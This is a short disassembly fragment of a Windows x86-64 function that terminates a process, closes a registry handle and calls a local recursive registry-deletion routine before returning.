mov rax, qword [rbp + 0x18]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov rax, qword [rbp + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
call sym.RegDelnode
jmp 0x403ce4
nop
jmp 0x403ce4
nop
add rsp, 0x2d0
pop rbp
ret